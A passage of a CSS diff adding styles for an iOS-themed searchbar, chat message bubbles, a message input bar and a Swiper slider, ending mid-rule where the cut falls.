+.list.li.hidden-by-searchbar, +.list li.hidden-by-searchbar { + display: none !important; +} +.ios .searchbar { + height: 44px; + background: #f7f7f8; +} +.ios .searchbar.no-hairline:after { + display: none !important; +} +.ios .searchbar input[type="search"], +.ios .searchbar input[type="text"] { + padding: 0 28px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border-radius: 10px; + border-radius: 8px; + font-family: inherit; + color: #000; + font-size: 17px; + font-weight: normal; + z-index: 30; + background-color: #e8e8ea; + position: relative; +} +.ios .searchbar input[type="search"]::-webkit-input-placeholder, +.ios .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]:-ms-input-placeholder, +.ios .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::-ms-input-placeholder, +.ios .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::placeholder, +.ios .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar .input-clear-button { + z-index: 40; + right: 7px; +} +.ios .searchbar-inner { + padding: 0 8px; +} +.ios .searchbar-icon { + width: 13px; + height: 13px; + position: absolute; + top: 50%; + margin-top: -6px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; + z-index: 40; + left: 8px; +} +.ios .searchbar-backdrop { + background: rgba(0, 0, 0, 0.4); +} +.ios .searchbar-input-wrap { + height: 32px; +} +.ios .searchbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .searchbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .searchbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .searchbar-disable-button { + font-size: 17px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + color: #007aff; + display: none; +} +.ios .searchbar-disable-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.3 !important; +} +.ios .searchbar-enabled .searchbar-disable-button { + pointer-events: auto; + opacity: 1; + margin-left: 8px; +} +.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button { + -webkit-transition-duration: 300ms !important; + transition-duration: 300ms !important; +} +.ios .searchbar-expandable { + left: 0; + bottom: 0; + opacity: 1; + width: 100%; + height: 0%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.ios .searchbar-expandable .searchbar-disable-button { + margin-left: 8px; + opacity: 1; + display: block; +} +.ios .searchbar-expandable .searchbar-inner { + height: 44px; +} +.ios .searchbar-expandable.searchbar-enabled { + opacity: 1; + height: 100%; + pointer-events: auto; +} +.ios .page > .searchbar { + z-index: 200; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar, +.ios .page > .navbar ~ .searchbar { + top: 44px; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ .page-content, +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ * .page-content, +.ios .page > .navbar ~ .searchbar ~ .page-content, +.ios .page > .navbar ~ .searchbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .searchbar, +.searchbar.ios .theme-dark { + background-color: #303030; +} +.ios .theme-dark .searchbar:after, +.searchbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .searchbar input[type="search"], +.searchbar.ios .theme-dark input[type="search"], +.ios .theme-dark .searchbar input[type="text"], +.searchbar.ios .theme-dark input[type="text"] { + background-color: #171717; + color: #fff; +} +.ios .color-theme-red .searchbar-disable-button { + color: #ff3b30; +} +.ios .color-theme-green .searchbar-disable-button { + color: #4cd964; +} +.ios .color-theme-blue .searchbar-disable-button { + color: #007aff; +} +.ios .color-theme-pink .searchbar-disable-button { + color: #ff2d55; +} +.ios .color-theme-yellow .searchbar-disable-button { + color: #ffcc00; +} +.ios .color-theme-orange .searchbar-disable-button { + color: #ff9500; +} +.ios .color-theme-gray .searchbar-disable-button { + color: #8e8e93; +} +.ios .color-theme-white .searchbar-disable-button { + color: #ffffff; +} +.ios .color-theme-black .searchbar-disable-button { + color: #000000; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-left .searchbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-right .searchbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +/* === Messages === */ +.messages { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100%; + position: relative; + z-index: 1; +} +.messages-title { + text-align: center; + width: 100%; + line-height: 1; +} +.message { + max-width: 70%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; + position: relative; + z-index: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.message-avatar { + border-radius: 50%; + position: relative; + background-size: cover; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.message-content { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.message-header, +.message-footer, +.message-name { + line-height: 1; + font-size: 12px; +} +.message-footer { + font-size: 11px; + margin-bottom: -1em; +} +.message-bubble { + -webkit-box-sizing: border-box; + box-sizing: border-box; + word-break: break-word; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + position: relative; + line-height: 1.2; +} +.message-image img { + display: block; + max-width: 100%; + height: auto; + width: auto; +} +.message-text-header, +.message-text-footer { + font-size: 12px; + line-height: 1; +} +.message-text { + text-align: left; +} +.message-sent { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.message-received { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; +} +.message-received .message-content { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.message-sent .message-content { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.message:not(.message-last) .message-avatar { + opacity: 0; +} +.message:not(.message-first) .message-name { + display: none; +} +.message.message-same-name .message-name { + display: none; +} +.message.message-same-header .message-header { + display: none; +} +.message.message-same-footer .message-footer { + display: none; +} +.message-appear-from-bottom { + -webkit-animation: message-appear-from-bottom 300ms; + animation: message-appear-from-bottom 300ms; +} +.message-appear-from-top { + -webkit-animation: message-appear-from-top 300ms; + animation: message-appear-from-top 300ms; +} +.message-typing-indicator { + display: inline-block; + font-size: 0; + vertical-align: middle; +} +.message-typing-indicator > div { + display: inline-block; + position: relative; + background: #000; + vertical-align: middle; + border-radius: 50%; +} +@-webkit-keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@-webkit-keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.ios .messages-content, +.ios .messages { + background: #fff; +} +.ios .messages-title { + font-size: 11px; + color: #8e8e93; + margin-top: 10px; +} +.ios .messages-title:last-child { + margin-bottom: 10px; +} +.ios .messages-title b { + font-weight: 600; +} +.ios .message { + margin-top: 10px; +} +.ios .message:last-child { + margin-bottom: 10px; +} +.ios .message-avatar { + width: 29px; + height: 29px; +} +.ios .message-header, +.ios .message-footer, +.ios .message-name { + color: #8e8e93; +} +.ios .message-header b, +.ios .message-footer b, +.ios .message-name b { + font-weight: 600; +} +.ios .message-header, +.ios .message-name { + margin-bottom: 3px; +} +.ios .message-footer { + margin-top: 3px; +} +.ios .message-bubble { + font-size: 17px; + line-height: 1.2; + border-radius: 16px; + padding: 6px 16px 9px; + min-width: 48px; + min-height: 35px; +} +.ios .message-image { + margin: 6px -16px; +} +.ios .message-image:first-child { + margin-top: -6px; +} +.ios .message-image:first-child img { + border-top-left-radius: 16px; + border-top-right-radius: 16px; +} +.ios .message-image:last-child { + margin-bottom: -9px; +} +.ios .message-image:last-child img { + border-bottom-left-radius: 16px; + border-bottom-right-radius: 16px; +} +.ios .message-text-header { + margin-bottom: 3px; +} +.ios .message-text-footer { + margin-top: 3px; +} +.ios .message-received { + margin-left: 10px; +} +.ios .message-received .message-header, +.ios .message-received .message-footer, +.ios .message-received .message-name { + margin-left: 16px; +} +.ios .message-received .message-text-header, +.ios .message-received .message-text-footer { + opacity: 0.5; +} +.ios .message-received .message-bubble { + color: #000; + background: #e5e5ea; + padding-left: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received .message-image { + margin-left: -22px; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble { + border-radius: 16px 16px 16px 0; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img { + border-bottom-left-radius: 0px; +} +.ios .message-sent { + margin-right: 10px; +} +.ios .message-sent .message-header, +.ios .message-sent .message-footer, +.ios .message-sent .message-name { + margin-right: 16px; +} +.ios .message-sent .message-text-header, +.ios .message-sent .message-text-footer { + opacity: 0.8; +} +.ios .message-sent .message-bubble { + background: #00d449; + color: #fff; + padding-right: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent .message-image { + margin-right: -22px; +} +.ios .message-sent.message-tail .message-bubble { + border-radius: 16px 16px 0 16px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent.message-tail .message-bubble .message-image:last-child img { + border-bottom-right-radius: 0px; +} +.ios .message + .message:not(.message-first) { + margin-top: 1px; +} +.ios .message-received.message-typing .message-content:after, +.ios .message-received.message-typing .message-content:before { + content: ''; + position: absolute; + background: #e5e5ea; + border-radius: 50%; +} +.ios .message-received.message-typing .message-content:after { + width: 11px; + height: 11px; + left: 4px; + bottom: 0px; +} +.ios .message-received.message-typing .message-content:before { + width: 6px; + height: 6px; + left: -1px; + bottom: -4px; +} +.ios .message-typing-indicator > div { + width: 9px; + height: 9px; + opacity: 0.35; +} +.ios .message-typing-indicator > div + div { + margin-left: 4px; +} +.ios .message-typing-indicator > div:nth-child(1) { + -webkit-animation: ios-message-typing-indicator 900ms infinite; + animation: ios-message-typing-indicator 900ms infinite; +} +.ios .message-typing-indicator > div:nth-child(2) { + -webkit-animation: ios-message-typing-indicator 900ms 150ms infinite; + animation: ios-message-typing-indicator 900ms 150ms infinite; +} +.ios .message-typing-indicator > div:nth-child(3) { + -webkit-animation: ios-message-typing-indicator 900ms 300ms infinite; + animation: ios-message-typing-indicator 900ms 300ms infinite; +} +.ios .theme-dark .messages-content, +.messages-content.ios .theme-dark, +.ios .theme-dark .messages, +.messages.ios .theme-dark { + background-color: transparent; +} +.ios .theme-dark .message-received.message-typing .message-content:after, +.ios .theme-dark .message-received.message-typing .message-content:before { + background: #333; +} +.ios .theme-dark .message-typing-indicator > div { + background-color: #fff; +} +.ios .theme-dark .message-received .message-bubble { + background-color: #333; + color: #fff; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .message-received, + .ios.device-iphone-x .ios-edges .message-received, + .ios.device-iphone-x .popup .message-received, + .ios.device-iphone-x .sheet-modal .message-received, + .ios.device-iphone-x .panel-left .message-received { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .message-sent, + .ios.device-iphone-x .ios-edges .message-sent, + .ios.device-iphone-x .popup .message-sent, + .ios.device-iphone-x .sheet-modal .message-sent, + .ios.device-iphone-x .panel-right .message-sent { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +@keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +/* === Messagebar === */ +.toolbar.messagebar { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + background: #fff; + height: auto; +} +.toolbar.messagebar .toolbar-inner { + position: relative; +} +.toolbar.messagebar .messagebar-area { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + overflow: hidden; + position: relative; +} +.toolbar.messagebar textarea { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.toolbar.messagebar a.link { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.messagebar-attachments { + width: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + font-size: 0; + white-space: nowrap; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments { + display: none; +} +.messagebar-attachment { + background-size: cover; + background-position: center; + background-repeat: no-repeat; + display: inline-block; + vertical-align: middle; + white-space: normal; + height: 155px; + position: relative; +} +@media (orientation: landscape) { + .messagebar-attachment { + height: 120px; + } +} +.messagebar-attachment img { + display: block; + width: auto; + height: 100%; +} +.messagebar-attachment + .messagebar-attachment { + margin-left: 8px; +} +.messagebar-sheet { + overflow: auto; + -webkit-overflow-scrolling: touch; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-align-content: flex-start; + -ms-flex-line-pack: start; + align-content: flex-start; + height: 252px; +} +@media (orientation: landscape) { + .messagebar-sheet { + height: 192px; + } +} +.messagebar-sheet-image, +.messagebar-sheet-item { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 1px; + position: relative; + overflow: hidden; + height: 125px; + width: 125px; + margin-left: 1px; +} +@media (orientation: landscape) { + .messagebar-sheet-image, + .messagebar-sheet-item { + width: 95px; + height: 95px; + } +} +.messagebar-sheet-image .icon-checkbox, +.messagebar-sheet-item .icon-checkbox, +.messagebar-sheet-image .icon-radio, +.messagebar-sheet-item .icon-radio { + position: absolute; + right: 8px; + bottom: 8px; +} +.messagebar-sheet-image { + background-size: cover; + background-position: center; + background-repeat: no-repeat; +} +.messagebar-attachment-delete { + display: block; + position: absolute; + border-radius: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer; + -webkit-box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); + box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); +} +.messagebar-attachment-delete:after, +.messagebar-attachment-delete:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.messagebar-attachment-delete:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.messagebar-attachment-delete:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); +} +.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet { + display: none; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top), +.md.device-iphone-x .messagebar:not(.messagebar-top) { + height: auto !important; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible), +.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible) { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .messagebar-sheet, +.md.device-iphone-x .messagebar-sheet { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .messagebar { + background: #fff; + min-height: 44px; +} +.ios .messagebar:before { + display: none !important; +} +.ios .messagebar textarea { + background: #fff; + border-radius: 17px; + padding: 6px 15px; + height: 34px; + line-height: 20px; + font-size: 17px; + border: 1px solid #c8c8cd; +} +.ios .messagebar a.link.icon-only:first-child { + margin-left: -8px; +} +.ios .messagebar a.link.icon-only:last-child { + margin-right: -8px; +} +.ios .messagebar a.link:not(.icon-only) + .messagebar-area { + margin-left: 8px; +} +.ios .messagebar .messagebar-area + a.link:not(.icon-only) { + margin-left: 8px; +} +.ios .messagebar-area { + margin-top: 5px; + margin-bottom: 5px; +} +.ios .messagebar-attachments { + padding: 5px; + border-radius: 17px 17px 0 0; + border: 1px solid #c8c8cd; + border-bottom: none; +} +.ios .messagebar-attachments-visible .messagebar-attachments + textarea { + border-radius: 0 0 17px 17px; +} +.ios .messagebar-attachment { + border-radius: 12px; + font-size: 14px; +} +.ios .messagebar-attachment img { + border-radius: 12px; +} +.ios .messagebar-sheet { + background: #d1d5da; +} +.ios .messagebar-attachment-delete { + right: 5px; + top: 5px; + width: 20px; + height: 20px; + background: #7d7e80; + border: 2px solid #fff; + cursor: pointer; +} +.ios .messagebar-attachment-delete:after, +.ios .messagebar-attachment-delete:before { + width: 10px; + height: 2px; + background: #fff; + margin-left: -5px; + margin-top: -1px; +} +.ios .theme-dark .messagebar textarea, +.messagebar.ios .theme-dark textarea { + background-color: #000; + border-color: #282829; + color: #fff; +} +.ios .theme-dark .messagebar-attachments { + border-color: #282829; + background-color: #000; +} +/* === Swiper === */ +.swiper-container { + margin: 0 auto; + position: relative; + overflow: hidden; + list-style: none; + padding: 0; + /* Fix of Webkit flickering */ + z-index: 1; +} +.swiper-container-no-flexbox .swiper-slide { + float: left; +} +.swiper-container-vertical > .swiper-wrapper { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.swiper-wrapper { + position: relative; + width: 100%; + height: 100%; + z-index: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-container-android .swiper-slide, +.swiper-wrapper { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +.swiper-container-multirow > .swiper-wrapper { + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} +.swiper-container-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 100%; + height: 100%; + position: relative; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.swiper-invisible-blank-slide { + visibility: hidden; +} +/* Auto Height */ +.swiper-container-autoheight, +.swiper-container-autoheight .swiper-slide { + height: auto; +} +.swiper-container-autoheight .swiper-wrapper { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-transition-property: height, -webkit-transform; + transition-property: height, -webkit-transform; + transition-property: transform, height; + transition-property: transform, height, -webkit-transform; +} +/* 3D Effects */ +.swiper-container-3d { + -webkit-perspective: 1200px; + perspective: 1200px; +} +.swiper-container-3d .swiper-wrapper, +.swiper-container-3d .swiper-slide, +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom, +.swiper-container-3d .swiper-cube-shadow { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + pointer-events: none; + z-index: 10; +} +.swiper-container-3d .swiper-slide-shadow-left { + background-image: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-right { + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-top { + background-image: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-bottom { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +/* IE10 Windows Phone 8 Fixes */ +.swiper-container-wp8-horizontal, +.swiper-container-wp8-horizontal > .swiper-wrapper { + -ms-touch-action: pan-y; + touch-action: pan-y; +} +.swiper-container-wp8-vertical, +.swiper-container-wp8-vertical > .swiper-wrapper { + -ms-touch-action: pan-x; + touch-action: pan-x; +} +/* a11y */ +.swiper-container .swiper-notification { + position: absolute; + left: 0; + top: 0; + pointer-events: none; + opacity: 0; + z-index: -1000; +} +.swiper-container-coverflow .swiper-wrapper { + /* Windows 8 IE 10 fix */ + -ms-perspective: 1200px; +} +.swiper-container-cube { + overflow: visible; +} +.swiper-container-cube .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; + visibility: hidden; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + width: 100%; + height: 100%; +} +.swiper-container-cube .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-cube.swiper-container-rtl .swiper-slide { + -webkit-transform-origin: 100% 0; + transform-origin: 100% 0; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-next, +.swiper-container-cube .swiper-slide-prev, +.swiper-container-cube .swiper-slide-next + .swiper-slide { + pointer-events: auto; + visibility: visible; +} +.swiper-container-cube .swiper-slide-shadow-top, +.swiper-container-cube .swiper-slide-shadow-bottom, +.swiper-container-cube .swiper-slide-shadow-left, +.swiper-container-cube .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.swiper-container-cube .swiper-cube-shadow { + position: absolute; + left: 0; + bottom: 0px; + width: 100%; + height: 100%; + background: #000; + opacity: 0.6; + -webkit-filter: blur(50px); + filter: blur(50px); + z-index: 0; +} +.swiper-container-fade.swiper-container-free-mode .swiper-slide { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.swiper-container-fade .swiper-slide { + pointer-events: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.swiper-container-fade .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-fade .swiper-slide-active, +.swiper-container-fade .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip { + overflow: visible; +} +.swiper-container-flip .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; +} +.swiper-container-flip .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-flip .swiper-slide-active, +.swiper-container-flip .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip .swiper-slide-shadow-top, +.swiper-container-flip .swiper-slide-shadow-bottom, +.swiper-container-flip .swiper-slide-shadow-left, +.swiper-container-flip .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +/* Scrollbar */ +.swiper-scrollbar { + border-radius: 10px; + position: relative; + -ms-touch-action: none; + background: rgba(0, 0, 0, 0.1); +} +.swiper-container-horizontal > .swiper-scrollbar { + position: absolute; + left: 1%; + bottom: 3px; + z-index: 50; + height: 5px; + width: 98%; +} +.swiper-container-vertical > .swiper-scrollbar { + position: absolute; + right: 3px; + top: 1%; + z-index: 50; + width: 5px; + height: 98%; +} +.swiper-scrollbar-drag { + height: 100%; + width: 100%; + position: relative; + background: rgba(0, 0, 0, 0.5); + border-radius: 10px; + left: 0; + top: 0; +} +.swiper-scrollbar-cursor-drag { + cursor: move; +} +.swiper-scrollbar-lock { + display: none; +} +.swiper-zoom-container { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} +.swiper-zoom-container > img, +.swiper-zoom-container > svg, +.swiper-zoom-container > canvas { + max-width: 100%; + max-height: 100%; + -o-object-fit: contain; + object-fit: contain; +} +.swiper-slide-zoomed { + cursor: move; +} +.swiper-button-prev, +.swiper-button-next { + position: absolute; + top: 50%; + width: 27px; + height: 44px; + margin-top: -22px; + z-index: 10; + cursor: pointer; + background-size: 27px 44px; + background-position: center; + background-repeat: no-repeat; +} +.swiper-button-prev.swiper-button-disabled, +.swiper-button-next.swiper-button-disabled { + opacity: 0.35; + cursor: auto; + pointer-events: none; +} +.swiper-button-prev, +.swiper-container-rtl .swiper-button-next { + left: 10px; + right: auto; +} +.swiper-button-next, +.swiper-container-rtl .swiper-button-prev { + right: 10px; + left: auto; +} +.swiper-pagination { + position: 